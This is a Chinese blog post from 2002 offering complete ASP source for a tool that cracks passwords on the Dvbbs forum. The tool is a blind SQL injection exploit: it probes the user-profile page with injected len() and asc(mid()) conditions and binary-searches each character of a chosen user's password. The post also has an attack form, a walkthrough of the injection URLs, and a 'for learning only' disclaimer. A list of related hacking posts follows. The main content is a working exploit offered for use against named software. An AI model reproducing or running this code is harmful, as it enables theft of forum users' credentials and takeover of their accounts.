动网论坛密码暴力破解程序代码

原创 2002年12月16日 09:37:00

<%
response.buffer=false
'为防止程序陷入死循环,初始化一些最大重试值
Dim MaxPassLen,MaxPassAsc
MaxPassLen=20 '密码最大长度
MaxPassAsc=20

'==== 字符转换
Function bytes2BSTR(vIn)
strReturn = ""
For j = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,j,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,j+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
j = j + 1
End If
Next
bytes2BSTR = strReturn
End Function
' 下面是取网页内容 ==========
Function GetUrl(Url)
set oSend=createobject("Microsoft.XMLHTTP")
SourceCode = oSend.open ("GET",url,false)
oSend.send()
SourceCode = bytes2BSTR(oSend.responseBody)
GetUrl = SourceCode
End Function
'下面是判断返回页面效果
Function ChkPage(SourceCode,SucKey,ErrKey)
if Instr(SourceCode,SucKey) > 0 then
 ChkPage=true '页面返回成功
 exit function
end if
if Instr(SourceCode,ErrKey) > 0 then
 ChkPage=false '页面出错
 exit function
end if
 ChkPage=false '关键字信息不对或者是页面未连接
 response.write("关键字信息不对或者是页面未连接")
 response.end
End Function

'开始破解
'Dim url,username,password,SucKey,

Dim PassLenUrl
Dim PassLen
Dim ChkPassLen

If request("begin")<>"" then
 response.cookies("PassLen")=0
 url=request("url")
 username=request("username")
 password=request("password")
 SucKey=request("SucKey")
 ErrKey=request("ErrKey")
response.write("第一步,破解密码长度<BR>")

PassLen = 1
ChkPassLen = false
Do while not ChkPassLen
 PassLenUrl = Url & username & "'%20and%20len(" & password & ")=" & PassLen & "%20and%20'1'='1"
 response.write("当前测试密码位数为“" & PassLen & "”,请稍等......<BR>")
 ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
 If ChkPassLen Then
  response.write("成功!!!密码位数已经测试出来了,开始测试具体位数<BR>")
  exit do
 Else
  response.write("不行,继续下一位测试!<BR>")
 End If
 If PassLen > MaxPassLen then
  response.write( "密码位数未能测试出,请确认是否有此用户或重新调整密码长度范围")
  response.end
  exit do
 End If
 PassLen = PassLen + 1
Loop
response.write ("<FONT COLOR=red>已经测试出密码长度为" & PassLen & ",开始测试具体密码值</FONT><BR><BR>")
'循环每一位
Dim Asc1,Asc2,Asc10,Asc20,Ascstr
'Dim AscArr(PassLen)
Dim ChkPass,Asctemp1,Asctemp,count
Ascstr = ""

For i=1 to PassLen
ChkPass = false
Asc1 = 33
Asc2 = 126
response.write "开始破解第" & i & "位密码<BR>"
'用二分法取asc码范围
 count=1
 suc=false
 Do while not suc
 Asctemp1=Asctemp
 if (Asc2-Asc1) mod 2 = 1 then
  Asctemp=(Asc2-Asc1-1)/2
 else
  Asctemp=(Asc2-Asc1)/2
 end if

  response.write "划定密码范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
  PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1"
  response.write "划定密码范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
  ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
  if Asc1 = 33 and Asc2 = 126 and not ChkPass then
   response.write "密码不在所设定ASC码范围内"
   response.end
   exit do
  end if
  if ChkPass then
   Asc10=Asc1
   Asc20=Asc2
   response.write("密码在该范围内<BR>")
   if Asc1=Asc2 then Suc = true
   Asc2 = Asc1 + Asctemp
  else
   Asc1 = Asc20-Asctemp1
   Asc2 = Asc20
   response.write("不在该范围内,改试另一范围<BR>")
  end if
  count=count+1
  if count>MaxPassAsc then
   response.write("死循环了!")
   response.end
   exit do
  end if
 Loop
Ascstr=Ascstr & chr(Asc1)
 response.write"<BR>当前破解进度(“"&Ascstr&"”)<BR><BR><BR><BR>"
Next


response.write"<FONT SIZE=7 COLOR=red>" & username & "的密码已经破解成功!!!!!!!(" & Ascstr & ")<BR></FONT><BR>"
else
%>
<body style="font-size:9pt">
<h3 align=center><B>动网论坛暴力破解程序</B></h3>

<FORM METHOD=POST ACTION="" name=frm>
网站地址:<INPUT TYPE="text" NAME="url" value="http://*******/bbs/viewuser.asp?username=">(要破解攻击的地址,注:地址中"="后的信息不要)<BR>
密码字段:<INPUT TYPE="text" NAME="password" value="password">(在数据库中保存密码的字段名)<BR>
出错页关键字:<INPUT TYPE="text" NAME="ErrKey" value="错误">(没有找到该用户时返回的页面关键字,比如“错误信息”)<BR>
成功页关键字:<INPUT TYPE="text" NAME="SucKey" value="">(成功查询到该用户资料时的关键字,比如用户名)<BR>
用户名称:<INPUT TYPE="text" NAME="username">(要破解密码的用户名)<BR>
<INPUT TYPE="submit" value="开始破解" name="begin"> <INPUT TYPE="button" value="检查用户" onclick="ChkUser()"> <INPUT TYPE="button" value="继续破解" onclick="alert('防止中途结束了,但是没作好')">
</FORM>
<%end if%>
<SCRIPT LANGUAGE="JavaScript">
<!--
function ChkUser()
{
window.open(document.frm.url.value+document.frm.username.value);
}
//-->
</SCRIPT>
首先申明该程序只是用来学习之用,请勿用在非法用途!!!!<BR>
该程序基于“星之海洋”的《ASP动网论坛漏洞分析》<BR>例如要破一个名叫abc的用户密码,首先察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc,在dispuser.asp中,读取参数的语句是: username=trim(request(“name”)),数据库的查询的语句是: sql=”select * from [user] where username=’”&username&”’”,看得出来, abc就是直接被作为了dispuer的一个参数username。另外,如果该用户不存在,程序就会给出提示,既然如此,我们就再写入个查询密码的条件,在where username=abc后面加上and userpassword=”******”,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc'%20and%20len(userpassword)=5%20and%20'1'='1,这么看可能不好理解,放到sql语句里其实就是这副样子:sql=“select * from [User] where username='abc' and len(UserPassword)=5 and '1'='1'”,现在明白点了吧,%20是空格,abc后面的单引号和’1’=’1里的单引号都是为了和sql语句相匹配。奇怪,该用户不存在,喔?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc'%20and%20left(userpassword,1)='a,如果猜对了就给出用户资料,猜错了就给出该用户不存在的提示,那么我们就可以直接在程序里面用xmlhttp来获取指定网址的内容,然后根据提供的关键字来判断是否猜对了,先用前面说的len方法从1开始穷举知道搞定为止,然后在针对每一位密码用mid函数集合键盘的asc码的范围(33到126),在程序里面用二分法来逐步缩小范围,几个循环就搞定了,呵呵,经实验发现效果显著,基本一分钟就可以破解出来一个:)!(注意,只适用了部分动网论坛版本)<BR>
有任何问题可以和作者联系:<A HREF="mailto:junminliu@msn.com">宝玉</A> <A HREF="mailto:ddf3@263.net">ddf3</A> <BR>
主页:<A HREF="http://www.dotey.net">http://www.dotey.net</A>

 

动网论坛8.2经典注入漏洞利用

一、实验目的理解动网论坛8.2原理二、实验原理动网论坛用户登录过程中,过滤不严,导致注入,提升权限。漏洞存在源文件的login.asp中。三、实验环境本机:192.168.1.2 目标机:192.1...
  • lijia111111
  • lijia111111
  • 2017年01月23日 21:16
  • 1435

利用BurpSuite爆破学校教务处弱密码学号

其实我们学校的安全也不是太差,教务处的密码中必须包含大写、小写和数字,并且登陆的地方是有验证码的。 所以从这里基本是没有办法下手的,不过我既然在写文章那就肯定是有办法的。 这个地方是网络存储,用的...
  • ls1120704214
  • ls1120704214
  • 2015年11月09日 09:44
  • 8494

基于Linux上的wifi密码爆破

wifi破解
  • MrYangLL
  • MrYangLL
  • 2016年07月22日 16:53
  • 3219

学习FPGA的网站推荐

毫无疑问,FPGA的两大主力厂商的主页不容错过,所有资料都原滋原味, http://www.altera.com.cn/ http://www.xilinx.com/,这个也可以由中文的,http:...
  • xiahouzuoxin
  • xiahouzuoxin
  • 2014年02月22日 12:54
  • 11478

仿射密码的加密和解密,蛮力攻击C++实现

实现代码如下: void exEuclidean(int a,int b,int &s,int &t){ int r1 = a, r2 = b , s1 = 1, s2 = 0, t1 ...
  • qq_33826977
  • qq_33826977
  • 2017年06月21日 17:20
  • 490

利用万能密码登陆网站后台原理及漏洞修复方法

万能密码这是个比较老的漏洞了,如果你的网站存在这个漏洞,结果肯定非常的悲剧。任何一个初学黑客技术的新人都能很轻松的入侵掉你的网站。因为需要入侵存在这种漏洞的网站不存在任何的技术含量,简单打个密码就行。...
  • chance2015
  • chance2015
  • 2015年12月25日 12:55
  • 8728

黑客工具软件大全100套

#1 Nessus:最好的UNIX漏洞扫描工具   Nessus 是最好的免费网络漏洞扫描器,它可以运行于几乎所有的UNIX平台之上。它不止永久升级,还免费提供多达11000种插件(但需要注册并...
  • jcxch
  • jcxch
  • 2016年09月30日 22:59
  • 4746

Discuz论坛 创始人/超级管理员密码忘记解决办法!

1.首先要明白一个基础知识,网站的管理员(admin)和创始人(UCenterAdministrator)不是一回事,一般人都误把admin当成UCenterAdministrator,而那些懂的人在...
  • qq_16956581
  • qq_16956581
  • 2015年05月22日 10:46
  • 2684

python 爬虫实战 抓取学校bbs相关板块的发帖信息

1. 前言之前也因为感兴趣, 写过一个抓取桌面天空里面喜欢的动漫壁纸的爬虫代码。这两天突然看到有人写了这么一篇文章: 爬取京东本周热卖商品基本信息存入MySQL 觉得蛮有趣的, 正好临近找工作的季...
  • zhyh1435589631
  • zhyh1435589631
  • 2016年05月03日 13:32
  • 6046

Back Track5学习笔记二

漏洞发现 第一部分Cisco工具 1.  CAT安全审计工具,扫描Cissco路由器的一般性漏洞 ./CAT -h 192.168.8.254 -w lists/community -a lis...
  • tingyuanss
  • tingyuanss
  • 2013年07月16日 23:38
  • 3821
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:动网论坛密码暴力破解程序代码
举报原因:
原因补充:

(最多只允许输入30个字)